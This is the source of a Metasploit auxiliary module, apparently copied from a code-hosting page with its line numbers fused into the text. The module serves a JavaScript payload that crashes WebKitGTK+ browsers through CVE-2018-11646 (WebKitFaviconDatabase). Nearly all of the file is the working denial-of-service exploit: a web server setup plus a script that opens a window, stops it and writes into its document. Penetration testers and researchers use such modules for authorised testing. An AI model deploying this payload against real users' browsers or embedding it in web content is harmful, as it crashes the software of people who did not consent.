Path: blob/master/modules/auxiliary/dos/http/webkitplus.rb
21552 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpServer7include Msf::Auxiliary::Dos89def initialize(info = {})10super(11update_info(12info,13'Name' => 'WebKitGTK+ WebKitFaviconDatabase DoS',14'Description' => %q{15This module exploits a vulnerability in WebKitFaviconDatabase when pageURL is unset.16If successful, it could lead to application crash, resulting in denial of service.17},18'License' => MSF_LICENSE,19'Author' => [20'Dhiraj Mishra', # Original discovery, disclosure21'Hardik Mehta', # Original discovery, disclosure22'Zubin Devnani', # Original discovery, disclosure23'Manuel Caballero' # JS Code24],25'References' => [26['EDB', '44842'],27['CVE', '2018-11646'],28['URL', 'https://bugs.webkit.org/show_bug.cgi?id=186164'],29['URL', 'https://www.inputzero.io/2018/06/cve-2018-11646-webkit.html']30],31'DisclosureDate' => '2018-06-03',32'Actions' => [[ 'WebServer', { 'Description' => 'Serve exploit via web server' } ]],33'PassiveActions' => [ 'WebServer' ],34'DefaultAction' => 'WebServer',35'Notes' => {36'Stability' => [CRASH_SERVICE_DOWN],37'SideEffects' => [],38'Reliability' => []39}40)41)42end4344def run45exploit # start http server46end4748def setup49@html = <<~JS50<script type="text/javascript">51win = window.open("WIN", "WIN");52window.open("http://example.com/", "WIN");53win.document.execCommand('stop');54win.document.write("HelloWorld");55win.document.close();56</script>57JS58end5960def on_request_uri(cli, _request)61print_status('Sending response')62send_response(cli, @html)63end64end656667